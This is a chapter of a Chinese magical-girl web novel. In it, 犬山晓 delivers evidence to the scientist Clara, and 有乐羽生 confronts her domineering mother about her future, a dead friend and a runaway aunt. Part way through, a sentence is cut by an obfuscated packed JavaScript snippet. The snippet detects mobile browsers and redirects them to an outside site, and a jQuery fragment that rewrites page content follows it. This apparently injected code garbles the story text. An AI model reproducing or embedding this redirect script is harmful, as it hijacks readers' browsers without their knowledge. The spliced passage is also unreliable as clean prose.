“下班高峰期里能少堵一会是一会。”犬山晓肯定道。 “对呀,而且我们得尽早离开呢,多亏了未央。”艾克里普笑着说。 森山寺未央开心了起来,在副驾驶上晃来晃去。 几人先将克拉拉的车加了油后停回公寓下的停车场,随后在车边分享今日从医院收集到的珍贵线索,并讨论接下来的行动。 “快到晚饭时间了,我先回家,让未雅来找你们。”有乐羽生将给森山寺未雅的甜点礼盒交给森山寺未央。 “今天大家都辛苦啦,我会将这些先带去给启明星侦探。今晚就先休息,明天如果要去上课的话就下午再一起行动吧。”艾克里普带着大家拍的照片和记事本离开了。 “我去把带过来的样本交给克拉拉,大家明天见。”犬山晓带着一大堆瓶瓶罐罐和与实验相关的记录点了点头说。 “回家路上小心哦!”森山寺未央说着忽然想起来了什么,“还有这张照片,麻烦晓让克拉拉小姐做一下画质恢复人脸分析什么的。” 犬山晓接过照片,她迅速地就认出了她的曾经的愿望出发点,多年前的一幕仿佛再现了一般,夜风吹过,她抬起头,她的同伴在这里。 “…好。”她笑着说。 在夜幕之下,四人分开了。 犬山晓一路向北,熟门熟路地从近道抵达了克拉拉的实验室门口。 “回来了?”克拉拉一如既往地垂在电脑前,一只手摸笔记本键盘一只手摸电脑键盘,头朝向犬山晓,“看上去没缺胳膊少腿,无证驾驶的车坐起来如何?” 看着依旧没什么变化的克拉拉,犬山晓莫名感到松了口气,她往常都因为这里那过于刺眼的灯光和实验器材而拒绝在这里多待,但现在她决定自己也可以试着适应一下这里。 “感觉很好,”犬山晓摸出一把椅子坐下,“我来给你送我们找到的东西。” 犬山晓将从神脉医院得到的瓶瓶罐罐放到了桌上,并将照片小心地放下,克拉拉伸长手从边上的柜子里拿了两个手套戴上,小心翼翼地将样本们捧起来放进了医疗区域内。随后回到实验区,犬山晓正熟练地使用实验室的打印机打印照片。 “现在你感觉如何?”克拉拉把手套扔进垃圾桶问。 “现在?我挺好的?”犬山晓不理解对方为什么这么问。 “我是问你对那个药物产生的反应感觉如何,那一版药物在配置的时候没有考虑是给正常人吃的。”克拉拉问。 “当时效果很显著,脑子一下子就平静了下来,感觉注意力都集中了不少。”犬山晓回忆着说,“不过好像也变得虚弱了一些,有点使不上力,不过后来我醒了就恢复过来了。” “你的代谢速度真是恐怖,虽然那只是口服药物吧。”克拉拉没有太意外,“正常来说那个剂量会让人患上永久性精神阳痿。” “我还准备活泼几年呢,高中生就该活泼点。”犬山晓觉得这个说法好笑就笑了,又拿出一盒甜品,“还有这个,给你带了伴手礼。” “哦,给我带的吗?”克拉拉有些意外地看下那盒点心,“难为你们用魔法拯救世界的同时还没忘记我等凡人。” 虽然话是这样说,但她扫开桌上的一些杂物当场就扯开了扎带,抽出内盒,里面是当日制作的不同口味的糯米点心,甜香中和了消毒水的味道,油光润滑。 “没有很甜啊,好吃。”克拉拉咀嚼了起来。 “三天内要吃掉哦,不然就冷冻。”犬山晓说,“没想到你还挺喜欢吃甜食的。” “我以为脑力工作者喜欢吃甜食是基础设定了,不过我不吃甜甜圈或者玛芬那种哦。”克拉拉艰难地一边吞咽一边去摸自己的水杯。 “因为喝酒的人都会喜欢下酒菜,一边喝酒一边吃甜食的话,”犬山晓想了想,委婉地说,“对内脏健康不太好。” 克拉拉摸向点心盒的手顿了顿,随后若无其事地继续拿起了下一个。 “无论是酒精还是糖分都不会影响我的中枢,放心好了拿蛋白棒当点心的高中生。”克拉拉补充说,“而且我姑且有在抗阻力训练。” “可是我每次看到你都是在实验室吧?”犬山晓质疑道。 “就在你遵循健康作息的睡眠时刻,这个时候健身房的人可是很多的。”克拉拉强调说,“还有我每天的睡眠时间有满7个小时。” “哦。”犬山晓看着克拉拉,“希望你能活久一点。” 虽然是祝福,但因为目标过于简单易懂了反而听上去像是在嘲讽,克拉拉看向犬山晓,又因为她正直的眼神而反思自己。 “好吧,那你们有找到那家伙的消息吗?”克拉拉转移了话题。 “还不确定,我们找到了一些东西,准备明天去找启明星侦探讨论一下,有结果了就回来和你说。”犬山晓说。 “最近的私家侦探可忙了,你们也小心点别被缠上了,按照本地□□人的做法是在达成目的之前不会停下的。”克拉拉说。 “我们回来的时候也看到了,是发生了什么吗?”犬山晓皱眉。 “这件事应该与你们要做的事情没什么关系,我知道的也不多。”克拉拉说着敲了几下键盘,“这个新闻你看了吗?白夜社宣布除名一个家族首领,不过现在好像是两个了来着。” “这个我看过,白夜社是势力很大的□□吧,除名一个家族就会造成这么大的影响。”犬山晓点头。 “哈哈哈,好久没听过□□这个称呼了。”克拉拉咧嘴笑了笑,“知道天生目池元不是在给外星人发送信号的人可不多,细节是那个侦探告诉你的?白夜社的势力确实很大,但成员只有几个,这几个成员每个都是一个家族的首领,互相依靠互相扶持,并没有一个领头人存在,至少现在没有。除名也就代表着被踢出这个生态圈了,还蛮要命的吧。” “没有领头人?那宣布除名的人是自作主张吗?”犬山晓问。 “这我就不清楚了,天生目自称代表但也不过是口舌而已。不过这几天许多私家侦探因各种社会问题焦头烂额,除非那个名字也像个小说主角的侦探是无名小卒或背靠大山,那理应也在头疼各式各样的问题吧。”克拉拉耸了耸肩,有点僵硬。 犬山晓想了想,若是真的出现这种情况的话,那她们的调查进度可能会推迟。 “是因为那个被除名的家族在反抗吗?”犬山晓问。 “这就涉及它们的私事了,一般过程经结果改编,结果与我等平民无关。你可别想着去沾边,踩一脚也别,你们现在的处境已经足够危险了。”克拉拉看着犬山晓警告说。 “我们想尽快结束这一切。”犬山晓说。 “然后呢?”克拉拉问。 “然后回归校园生活,为平静生活以及登上大型舞台而奋斗。”犬山晓迅速回答。 “真是和平的志向啊,那就算是是为了这样的结果,少去和□□沾边,这里的□□家族们彼此手拉手走过近百年,你被当作目标的话出门都会被街头的每个人盯着看。”克拉拉拿点心尖尖指着犬山晓。 “那算是提前适应作为热门乐队成员的生活了吧?”犬山晓说。 “别装蒜,隔壁绿地公园的那个大型舞台有两万个座位,你们现在的粉丝加上我有二十个吗?”克拉拉冷笑着说。 “你喜欢我们乐队呀?那下次还给你带邀请函。”犬山晓开心地说。 克拉拉无力地咀嚼着点心,脸颊发酸,她发现这一块是巧克力夹心的,比其它几个都要甜,堵在嗓子里让她说不出话。 “别担心,最糟糕的已经结束了。”犬山晓把水杯推过去。 “随便你们吧,别把我抖出去,”克拉拉面无表情地说,“也别死了。” “那你呢?”犬山晓问,“如果这一切都结束了,你准备做什么?” 这句话确实把克拉拉问住了,她顺势开始漫无边际地思考未来,她觉得几乎都忘了自己除了目前的目标以外还有什么其它选项,可这样的话她觉得自己对未来没有规划这一点非常愚蠢,是和她极不相符。 “有现成的材料在,实验的完成和文章发表也就是时间问题了。之后我可能会去环游世界吧,忙了这么久也该放松一下。”克拉拉漫无目的地选择自己的目的地,“先去阿拉斯加看极光好了,或者找个海滩晒一个月也不错,阳光对脑子来说可是好东西。” 但她意识到,她自己都不认为自己会这样做。 “去那么远的地方吗?”犬山晓意外地说,“那是不是应该现在就开始准备了,要坐船吗?” “别这么着急就开始想这么远之后的事情啊。”克拉拉不耐烦地说。 犬山晓有些担心,但又不知道自己该如何劝说对方。 “好吧,那我先回去了,有消息会和你说的。”犬山晓说着站了起来,“别一晚上吃完哦。” “知道了知道了。”克拉拉摆了摆手。 有乐羽生抵达自己房间内时,森山寺未雅已经收拾好自己的东西准备离开了。 “未雅!辛苦你啦,未央那里有给你的点心哦。”有乐羽生朝躺在地板上的森山寺未雅打招呼,她觉得看着自己这样还挺有意思的。 “比起你们我算是很清闲了,欢迎回来。”森山寺未雅直挺挺地坐了起来,“笔记和老师给你留的作业放在书房了,记得看一下。” “好哦,今天这里发生了什么吗?”有乐羽生点点头。 “什么都没发生。”森山寺未雅说。 “我猜也是啦,明天见!”有乐羽生招了招手。 “明天学校见吧。”森山寺未雅点了点头,化影离开了有乐家。 看着一如既往地空旷的房间,有乐羽生忽然觉得很安静,她仿照森山寺未雅的样子躺在地上,看向天花板。 那里当然是什么都没有,有乐羽生的卧室光线来自各种隐形光源,所以天花板连灯都没有,只有意义不明的浮雕画。但看着这样空无一物的上空,有乐羽生的思绪却不自觉飘远了。 不知道还有没有机会开车啊,也想骑摩托车试试看,晓说她有摩托车来着,能不能拜托她带我兜兜风什么的呢?一开始就觉得她说不定是很好说话的人,没想到居然是难得一见的正常类型的好人。艾克里普也是很温柔的人啊,希望我们能一直做朋友呢,在一切都结束之后她会不会对人类的看法有所改变呢?但是她对未央和未雅的事情就很包容。说起来未央和未雅两个人分开的时候,各自看上去真是完全不一样啊,不知道之前未雅一个人的时候是什么模样,未央一个人的时候应该会比较沉默吧。 忽然,侍者的敲门声将她的思绪带了回来。 “小姐,晚餐准备好了。”声音隔着门像是在梦中一般。 于是有乐羽生也直挺挺地坐了起来,随后她忽然意识到自己和方才的森山寺未雅行为一模一样,觉得有些好笑。 她站起身,整理了一番头发,换上了合适的衣服,走向自己的房间门口。 今天就和母亲谈谈吧,有乐羽生忽然就有了这样的念头,并且并不对此感到害怕。 晚餐一如既往地索然无味,用餐结束后,有乐羽生看向有乐千奈离去的背影,站了起来。 “母亲,我有话想和你说。”她这样对着有乐千奈的背影开口道。 有乐千奈似乎没有想到会有这样的一天,她疑惑地回过头去看有乐羽生,光是这样有乐羽生就条件反射地感到紧张,但她没有移开目光。 “我在会客室等你。”有乐千奈最后只是这样说道,没有拒绝也没有询问。 但这样就足够了,有乐羽生迅速离开餐桌,跟上自己母亲的脚步。 客厅离有乐千奈常用的小型会客室不过几步路的距离,二人谁都没有谈话,有乐羽生看着自己母亲的背影,忽然就好奇起了这个一直如一座山一般拦在她身前的人过去是什么样的。 往常,她将一切视作理所当然,偶尔兴起的好奇也会被迅速消灭。但现在她见过了太多的人,她意识到有乐千奈除了是她的母亲,也是一个完整的人,有着过去的故事和自己的目标。 就和她自己一样。 会客室的门打开又关上,二人面对面坐着,都没说话,有乐羽生条件反射地想把头低下来,但又硬生生地控制住了脑袋。 空气一时寂静,有乐羽生一时不知道该如何开口。 明明主动提出要谈话的是自己,这样一言不发是不好的吧!要说什么?说我想要私人空间和自由活动的时间,该如何开口?难道直接说自己成为了魔法少女吗?这位可不像那些思想变通接受程度高的人。说起自己掌握了这样的力量的话,那大概结果会很残酷吧。 其实解决有乐羽生诉求的方法很多,使用魔法就可以了!她还是专精于飞行与空间移动的魔法少女,这世间的一切理应没有能困住她的。 “松木老师给你布置的作业难度如何?”有乐千奈先开口,她在问,语气不带关怀,眼神也一如既往地锐利。 小时候的有乐羽生就非常害怕这样的眼神,因为这样的视线往往伴随着命令和责问,若是给不出一个好的答案,那更多的便接踵而来。 今日之前的暂且不提,今天的作业有乐羽生完全没来得及看,但她对其内容也有所预测,如果对方问的话大多数问题她都能模糊地答出,但少不了被说没有仔细思考。 “还,还可以,”有乐羽生为自己不合时宜的结巴大为失望,“我已经全部理解了。” “还可以是什么?我是不是和你强调过不要用模糊的口吻回答问题?”果不其然,有乐千奈的眉头皱得更紧了,“回答我的问题就这样,回答别人的问题你这样只会让人觉得有乐家家教也就这样了,到时候丢丢是家族的脸。你有考虑过这样的未来出现吗?” 有乐羽生迅速过滤出了那些不好的情绪,从中提取出了自己需要的东西。 虽然说她自己也知道自己的问题大概率不会得到答案,但还是问出口了。 “我的未来,”有乐羽生忽然问道,“我的未来会是什么样的呢?母亲?” “…你找我是为了这种虚无缥缈的问题吗?这种问题你必须自己思考,之前不是还很有自己的主意吗?”有乐千奈冷笑了一声。 但有乐羽生这突如其来的问题却也是她真心想要问的,有乐千奈一直以来都规划她的一切,从吃穿住行到人际交往,但独独没有关于“未来”的规划。 在日之森结交同一阶层的好友,经过各种活动在简历上留下值得加粗的印记,进入知名大学完成学业,在父母的支持下步入政界,接手各种各样的人脉,从基层做起,在四十岁左右时接手父亲的位置,延续有乐家的荣耀。 似乎已经是订好的事情了。 可那天,天边的那朵云吸引了有乐羽生的视线,她的人生发生了偏离,一切都绝不可能回到一开始的那条路上了。 在经历过种种事件之后,有乐羽生此时由衷地好奇:这样的自己,未来会是什么样的呢? 而有乐千奈是否能像往常一样洞察并规划她的一切,再次制定她的未来呢?但这样的前提是有乐羽生需要将自己的一切全盘托出,她无法这样做,但至少她可以先倾诉自己的想法。 “那一天在天台上,天生目白和我说,是母亲您帮助了她,她才能逐步在自己家站稳脚跟,清源阿姨将她看作自己的继承人,但她一直都在寻求你的认可。”有乐羽生顿了顿,说,“我知道她写信的事情了,当时我很生气,觉得她这样做是在背叛我们之间的友谊。” 有乐千奈没有说话,她看着,可能是不在意,也或者是她在等有乐羽生说她真正想说的。 “但是后来,我很难过,因为天生目将您想看到的我写在信里给您看,您通过她的信掌控我的行动,不询问我的意见,也不询问我那些事情是否属实。”有乐羽生说着,想要叹气。 室内安静了一会,月光透过会客室的窗存在于园林景色之上,如装饰画。 “那又如何?”有乐千奈没有什么反应,“需要我提醒你你的一切是谁提供的吗?你只需要做好你该做的,不需要考虑无用之物,长久以往,你的未来就一定有所成就。” “可是天生目是想和我交朋友的,而我却一直无法信任她,我们之间的友谊在那之前是虚假的,她想和我说话又揣测我,我和她面上交好又在心里看不起她,我们——” “这是常见的,还是说你伤心了?”有乐千奈打断了这句话。 有乐羽生愣了愣。 “仅仅是表面上的友谊就足够了,这个世界上又有多少能发自真心彼此信任的人?自己才是自己的第一负责人,你需要为自己的内心世界和未来负责。”有乐千奈冷静地看着有乐羽生。 “不是的,我们和好了。”有乐羽生笑着说。 有乐千奈愣了愣。 “我决定正视她的缺点,她也觉得正视我是个什么样的人,我们会互相信任吧,毕竟从某种角度来说我们也可以算是姐妹。”有乐羽生的笑容停顿了下来。 天生目白的死常出现在她的梦中,许多次有乐羽生梦见自己没有转过头,没有错过她掉下去的那一瞬间,看着她被枪击中,消失在视线边缘。在梦中她还是什么都做不到,无法迈动脚步,伸出手也抓不住,魔法也失灵了,她彻底沦为了无能的人。 随之而来的往往是在梦中却依旧强烈的真实窒息感,或者说源于过于短促的连续呼吸,视线中的一切会越来越浑黄,就像梦中的世界在那之后不会迎来黑夜,而是会迎来一场大火。 而她被黑烟抓住了脖子,无法呼吸,飞不起来。 但在那之后她却又能自如地行动了,她能自由地在那走向毁灭的天台上走来走去,哪怕窒息的感觉让她双眼模糊头脑眩晕,魔法也用不了,她依旧没能注意到这只是个梦。她在梦中行走,看着围墙上的血渍,看见远比正常教学楼高更遥远的地面上的天生目白,看见躲在角落里的西西路。 那张脸有乐羽生没办法忘掉,每次看到这里,她才会反应过来:我是在做梦。 因为她曾回避了天生目白的死亡现场,却亲眼看见西西路被砍断脖子的瞬间。 于是刹那间西西路的脑袋也会随之落下,她会惊醒,时而大汗淋漓时而大喘气,有时醒来时天色未亮,她的坏情绪消散后,她就会想一些事。 例如,如果没有发生那件事,我们会不会真的成为姐妹一样的朋友呢?如果西西路没有死去,而是真的在警察局里交代了自己所做的一切,那她的后果会是什么样的呢,她的想法会发生改变吗? 漫无边际地发散思想是她擅长的事情,她会想到餐桌上可能会多出一个人,想到她们可能也会偶尔一起上课,一起吃饭。她会期待有人让她们去讨伐真正的罪人,去解救更多身处水深火热的人,去成为救世主。 但是这些可能性都不复存在了,有乐羽生在心里将这件事的主要责任背负在身上,天生目清源也自责没能保护好她。但她偶尔会想,应该也有另一个人也为这件事而头疼才对。 这个人应该是有乐千奈。 “天生目她很敬仰母亲您,而且希望得到您的来信,她认为她的人生因您而走向了另一个方向,按照她们家的习惯,她应该拜您为义母。”有乐羽生说。 “我从未将她看作是我培养的人,这一点是清源的工作,她不该认错自己感谢的对象。我所做的应该被称为天使投资,而不是培养。”有乐千奈并不认同有乐羽生的想法,她从来都不。 “那为什么是她呢?”有乐羽生问。 “随手而为的事,是你将这件事看得太重了。”有乐千奈无所谓地说。 “不是这样的吧。”有乐羽生笑了,俗话说知子莫若母,但在她这里这件事似乎是反过来的,她或许不知道有乐千奈的所作所为,但她知道自己的母亲是个怎么样的人。 “无论是投资一个有潜力的孩子,还是单纯地向天生目家族施予一份恩惠,亦或者干脆只是普通地想要一个能听自己话的人,那个家族里多的是更好的选择吧?”有乐羽生问。 天生目家家族人口众多,部分非天生目姓氏却也属于这个家族的一份子,这是因为天生目家族改头换面做政客生意之前,她们的组织是作为多族群势力的本地社群秩序控制者存在的。它基本不接受外来人员参与核心产业,内部有完整的传承机制,并且一直在培养自己人参与各种职业。 若是有乐千奈想要投资一个年纪尚轻的有潜力的天生目成员,那实际上更好的选择非常多。因为由于天生目家族一直在支持各部门本地政客和社会福利项目,其中许多成员都与外界各行各业的人士有紧密的联系。 从根本上来说,有乐千奈顾问完全就是天生目家族的大客户,这一点也从她与天生目清源的关系上可以看出,二人虽然是利益相关者,但也是多年好友。 有乐羽生一直都知道,所以她认为天生目白身上一定有什么,只有她才有的特殊点,吸引着有乐千奈向她投去视线。 这也是有乐羽生对天生目白一直没什么好脸色的原因之一。 “根本不需要这么多理由,这对我来说只不过是随手就能做到的事情,你又了解我多少?”有乐千奈眉头皱得更深了,“幸亏和你这样谈话的人是我,你的母亲,若是你这样与别人谈论她本身,那对方是一定会生气的,这样非常不礼貌。” “您是想说,天生目白只是恰好被选中的那个人吗?”有乐羽生问。 “正是如此。”有乐千奈说。 “怎么可能呢?”有乐羽生忍不住笑了,“您最讨厌运气好的人了,不是吗?” 有乐千奈常对有乐羽生说:你是幸运的。这句话的潜台词是:你最好根据我说的做。她一边认为有乐羽生能有她这样的指导者真的很幸运,一边以这样的方式认同自己。 但若是真的有人靠着纯粹的运气得到了好处,她会说:真是走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792742|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运。这时她的眼里是带着恶意的。有乐羽生知道自己的母亲讨厌无缘无故就找到了近路的人,她绝不会无缘无故地把近路的地图交给一个全然陌生的孩子。 但这样笑着说出来就是在无视母亲的威严了。 “…这个话题到此为止。”母亲施展了她的权力,“你没有必要和我谈论这件事的原因。” “好吧,那您觉得,如果天生目她还活着的话,未来会是什么样的呢?”有乐羽生顺从地转变了话题。 “清源是个好老师,她的学生一定会成为天生目家数一数二的砥柱。”有乐千奈毫不犹豫地给出了不错的评价。 “那我呢?我也会和她一样吗?”有乐羽生问。 有乐千奈再次沉默了。 “松木老师的教学资历深厚,作为她的学生你的大学申请上限非常高,现在你要做的事情就是处理好你在学校里的一切,其它的都与你的未来没有任何的益处。”有乐千奈说。 有的时候,有乐羽生觉得自己母亲这样的说话方式很令她疲惫。 “那我会成为下一个您吗?”有乐羽生问。 “我培养你不是让你完全按照我的路走,你自己未来的路必须自己考虑。”有乐千奈又皱眉了。 有乐羽生看着她,心中叹了口气。她知道自己与屋子里的那些艺术品最大的不同就在于:她不会被定价之后简单地交付出去。她有着更大的价值。 “母亲,我要怎样才能成为下一个您呢?您教导我的一切是您认为最好的,那您自己是否走过这样的一条路呢?”有乐羽生看着她问。 “…你是在质疑我吗?羽生?”有乐千奈盯着有乐羽生,眼尾抽动,这是她生气的预兆。 但她生气实在是太常见了,有时她生气甚至还带着笑,这样显而易见的愤怒反而是不符合她的作风的。 “我只是想知道,您是为了让我成为一个什么样的人而这样培养我的。”有乐羽生认真地说,“我知道这些都是好的,对未来有益的,同时只要照做就一定能走向成功的,可那个成功的人是什么样的呢?是您吗?” “既然你自己清楚这是为你好就不要问这种没有意义的问题!还是说就因为你必须要看到一个明确的结果才能继续往前走?我早就说过你不能这样畏缩!”有乐千奈的语气高昂了起来。 被指责胆子小的有乐羽生知道对方并不是在对自己的问题避而不谈,而是她就是这样想的。但这样反而令有乐羽生感到悲伤,她很早之前就放弃让母亲理解自己,但被这样指责和误解依旧令她感到难过。 小学毕业之后有乐千奈就不再给予有乐羽生在不必要的方面的正面反馈,但有乐羽生却每次都想要分享。 当她呼喊“母亲”的时候,偶尔也是想要像森山寺未央那样呼喊“妈妈”的。 这样的难过又与那些可以轻易被抹去的情绪不同,它的每一次出现都带着相同分量的伤害,无视有乐羽生的心理防线和反抗,直击她的心。 她的母亲是唯一一个真的能伤到她的心的人。 明明主动提出要谈话的人是她,但现在感到无路可逃的人也是她,那些话仿佛春日的暴雨,带着寒气打湿她的所有羽毛将她拽倒在地。 有乐千奈说话就是有着这样的魔法,可以轻而易举地让有乐羽生回到那个走进卧室就疲惫得不得不倒下的时间里。 但好在她的魔力已经今非昔比,她已经学会了站起来的方法,也拥有了一颗更加坚强的心。 “您也不知道我的未来会是怎么样的,对吗?”有乐羽生看着有乐千奈的眼睛说。 “我不是说了——”有乐千奈不耐烦地打断说。 “您让我走的路是您想走却没能走的,您坚信那是最好的,却无法想象它通往什么样的未来,对吗?”有乐羽生坚定地说。 “砰——”有乐千奈的手碰倒了水杯,陶瓷制品仅仅是倒在桌上就出现了裂痕。 但这并没有吸引任何人的注意力,有乐千奈愤怒地盯着有乐羽生,手指都颤抖了起来。 “那又如何?”她看似冷静地愤怒着,“你想说什么?你有什么理由质疑我?我是你的母亲,我当然会给你我认为最好的。” “那她呢?”有乐羽生问,“您也给了有乐千实同样的一条路吗?” 不该出现在这栋屋子里的那个名字将本就沉重的空间拖入了深渊。 “有乐千实。”有乐千奈念出了这个名字,她扶住额头,在愤怒的同时感到一阵眩晕。 有多久没有听到过这个名字,有多久没有见过这个人了?有乐千奈本以为自己再也不会与这个人有所牵连,甚至她为此付出了不少的努力。 但或许是因为她实在是一个不幸运的人,总是事与愿违。 “她曾经在我小时候来看过我,您没允许她进来,是因为她曾经也像我一样被您安排好了道路,却又自作主张离开了,对吗?”有乐羽生问。 有乐千奈一时没有回应,她的脑内在加载多年前的回忆,太长的空窗期让她一时忘了自己对那个人怀着的是什么样的感情。 “我没有见过她本人,但我一直以为她是我的姐姐。”有乐羽生说。 “如果她是我的孩子,那她不会有离家的机会,知道吗?”有乐千奈缓了缓说,“你从哪里知道她的?” 语气间竟是平静了许多。 如今,有乐千奈早就对自己女儿以外的人没了产生恨铁不成钢的情绪波动的余地了。哪怕那个人曾经是自己的妹妹。 可以说,如果有乐千实是在她20岁那年擅自离家出走,她会在15年之后感到愤怒并对其进行强烈指责。如果在她25岁那年离家出走,她会在40岁那年回忆起自己的妹妹时偶尔感到失望。 但在她30岁那年,小她15岁的妹妹自顾自地离开了她,现在她45岁,除了一开始的波动之外,想起这样一个人只会思考如何避开她带来的风险。 “我遇到了她的学生。”有乐羽生意外地说。 “所以你是因为知道了她的存在,所以觉得你也有选择的余地。”有乐千奈冷笑了一声。 “不是的,母亲,我是因为她的存在而不敢反抗您。”有乐羽生无奈地说。 “明智的选择,我不允许她接近你一方面是她曾经的作为,另一方面是她本身。”有乐千奈说,“你不能接触她,也不能接触关于她的事。” 有乐羽生知道这样说的意思是没得谈,但她大概知道为何如此,并且不能遵守约定。 “为什么?”有乐羽生还是问了。 “既然你问了,那你就得记住。”有乐千奈凝重地说,“她选择的人生未来方向会践踏人的生命,而她已经不会因为你是我的孩子就选择放过你,我也同理。” 这令有乐羽生感到意外,那人竟是主动选择参与到那些事中的,哪怕与有乐千奈背道而驰,有乐千实也要选择一条反人类的道路。 “为什么?她心理上有什么问题吗?”有乐羽生疑惑地问。 “我倒是希望她是单纯地得了精神病,但很可惜,”有乐千奈冷笑一声,“她非常清醒,也很聪明,知道自己在做什么,未来会做什么。” 想起实验室中的洗脑手段,有乐羽生并不这样认为。 “她是什么样的一个人呢?”有乐羽生真情实感地好奇了起来。 “…你倒是话题换的快。”有乐千奈想了想,“那就趁这个机会告诉你好了。” 属于上一代人的故事在此刻被娓娓道来。 “我们家只有我们三个人,但有乐家是本地有着六十多年庙会组织历史的家族。在我十岁左右的时候发生了一些变动,当时家主的愚蠢选择让家族走向了衰弱。这与许多其它类似的家族走向都差不多,只能说在现代的趋势下靠人口数量和传统取胜的家族走向灭亡是必然的。”有乐千奈说起自己的过去并不对其感到悲伤或者怀念,反而是带着批判的。 “高中之后,我成为了家族管事之一,当时本地因外来者的干涉,已经没有多少有价值的东西留给那时的家族了。我反复提出需要寻找新的经济来源,需要培养族人去学习新的技术,将内部转变为现代化的管理结构。” 有乐千奈嘴角勾起笑了,因时间而产生的细纹没有抚平她丝毫尖锐的态度。 “那个蠢人说出了‘那样还算是有乐家吗?’这样的话,附和的人越来越多,我知道这个家族完了。”有乐千奈看向了窗外。 月朗星稀,犹如当年她离开家族会议堂的那个晚上。 “有乐千实当年才5岁,就有了比那些人更加清晰的认知和远见,我问她我离开这里要不要和我走,她点了头。于是我将她视作唯一的同行者,拿着身份证件就离开了。我们在地下室住了一个月,去市区租了5平米的单间,她去了公立学校上学。我靠做生意和打探消息与本地许多势力合伙,逐渐在这里站稳了脚跟,在我的安排下,她未来可以去顶尖的学校上大学。” 有乐羽生感兴趣地听着,她完全无法想象自己母亲如何与另一个人住在5平米的单间里,而且另一个人还小她15岁。 “结果她15岁那年不知道听了谁说的什么莫名其妙的东西,莫名其妙的离家出走了。”有乐千奈说到这里又冷笑了一声。 “咦?中间的部分呢?”有乐羽生问道。 “那些都没什么好谈的,我说这些是为了让你知道,你的一切都来之不易,我见过的走歪路的人多了,全都没个好下场,知道了吗?”有乐千奈看着有乐羽生说。 但有乐羽生还是觉得中间有着什么很重要的东西,却也不知道怎么开口问。 “我知道。”有乐羽生说。 “那你还有什么想问的吗?”有乐千奈对有乐羽生的反应感到满意。 “结果您还是没有回答我,您觉得我未来会是个什么样的人。”有乐羽生说。 “你问这个到底是想做什么?”有乐千奈不解道,“知道了走歪路的下场就要珍惜你所有的一切,不要再去想没用的东西了。” “那如果我未来有了自己想做的事情,母亲会祝福我吗?”有乐羽生问。 “和你说了少和你那些乐队成员玩,你脑子里想的都是些什么东西?不可能的,别让我把你转去别的学校。”有乐千奈威胁说。 就是这个!有乐羽生意识到了关键点。 “您都没问我想做什么呢,也不说您想让我的未来做什么。”有乐羽生叹了口气,“未来是不能被决定的,无论现在在做什么,大概率都和未来没有关系。” “所以我才找了松木老师,学校里教的东西确实对未来没什么帮助。”有乐千奈说。 “…您一直都没有变过。”有乐羽生看着对方笑了,“以后也一定会一直这样吧。” 有乐羽生意识到,有乐千奈无论是从过去年轻时还是现在中年时,一直都从未尝试过相信和理解它人,她只会自顾自地预测别人会怎么做怎么想,并提前对此进行干涉,她做的很好,这也是她一直以来变得越来越强大的基础。 但有乐羽生发现,有乐千奈甚至没有理解过自己。她高中毕业开始接手家族事务,却让有乐千实去她觉得好的地方去上大学,以谋取更好的未来。有乐千实离开后,这份责任就来到了有乐羽生头上。 那些路有乐千奈没有走过,也不认为自己能走,她从未尝试过让自己改变。 “那当然,正是因为有我这样的母亲,你才能拥有这样的人生啊。”有乐千奈笑着说。 自始至终,有乐千奈都没有考虑过有乐羽生的想法,因为这是她的孩子。 “母亲,你一定不会理解我的吧。”有乐羽生释怀地笑了,“但是没关系,我如果有了想做的事情还是会和您说的。” “你隐瞒了我什么。”有乐千奈注意到了对方的有恃无恐,“谁给你的底气让你说出这样的话来的?你的那些乐队成员朋友吗?告诉我你想做什么,或者我明天就联系日之森教务处。” 有乐千奈越是这样说,有乐羽生就越是无法看到自己说出真相后被理解的可能性。她对那样的结果感到害怕,她害怕自己在母亲的眼里不再是原来的那个她。 但是我早就改变了不少了吧,有乐羽生意识到这一点。她只是需要一个合适的契机去承担起成长和改变的代价和责任,以及,大量的勇气。 “我现在,没有想做的事,母亲。”有乐羽生微笑着说,“但是如果有一天它出现了,那我一定会第一时间和您说的。在那之前我会每天按时回家,用餐,并回答您的问题的。” 有乐千奈一言不发地盯着有乐羽生看,有乐羽生没有退缩。 “…那么,你想要什么?”有乐千奈问。 有乐羽生又想要叹息了。但是她现在确实需要一个合理但贪心的需求去弥补有乐千奈多疑的空白。 “松木老师教的东西我大多数都理解了,我希望,至少我每天放学后的社团时间能自由行动。”有乐羽生说。 “所以说到底你还是这幅样子。”有乐千奈笑了,无论其中包含着什么,“我会考虑给你一定自由活动的时间点,但不是近期,也不意味着我赞同你的交友品味。松木老师教给你的东西不仅仅是课业知识,也有她的学习经验,你全都要学,知道吗?” “我会努力的。”有乐羽生并没有被打击到,“我放学后就待在学校里,这样也不行吗?” “…可以,我会通知安保人员确认学生的进出。现在回去温习明天的功课。”有乐千奈摆了摆手,不打算再说些什么了。 “好的!”有乐羽生见好就收,笑着回答道,“那么,我先走了。” 有乐千奈看向窗外,月光一如既往地明亮,她却是老去了许多。 那年有乐千实出现在门外的时候,有乐千奈的第一反应不是愤怒或者欣喜,而是思考,她的出现意味着什么。有乐千实并未隐瞒她自己所做的事情,以及她身处何处。但越是如此她越是对其无法理解。 或许是这份思考被有乐千实察觉到了,或许是思考的结果明显,她再也没有来过。 想到方才有乐羽生说的话,有乐千奈并不觉得自己做错了或者需要改变,只是,不够完美,她早该补上那漏掉的一环的。 安静的会客厅内响起一声冷笑。 随后是电话拨出等待被接起的声音。 49.★ ★ 森山寺未雅没有在路上耽搁,很快就回到了公寓附近,抬头没看到客厅灯亮,森山寺未央还没有到家。她看了眼手表,发现其定位在这处居民区的北边与市区的交界地带,那是包容的交接处,既涵盖了市区特有的街道及包括路灯在内的设施失修,又带有旧城区特色排外民风,城市公共安全工作人员偶尔会一闪而过,出现点仅限于大路。 优点也是有的,比如大量的平价餐厅,以及便民店铺。 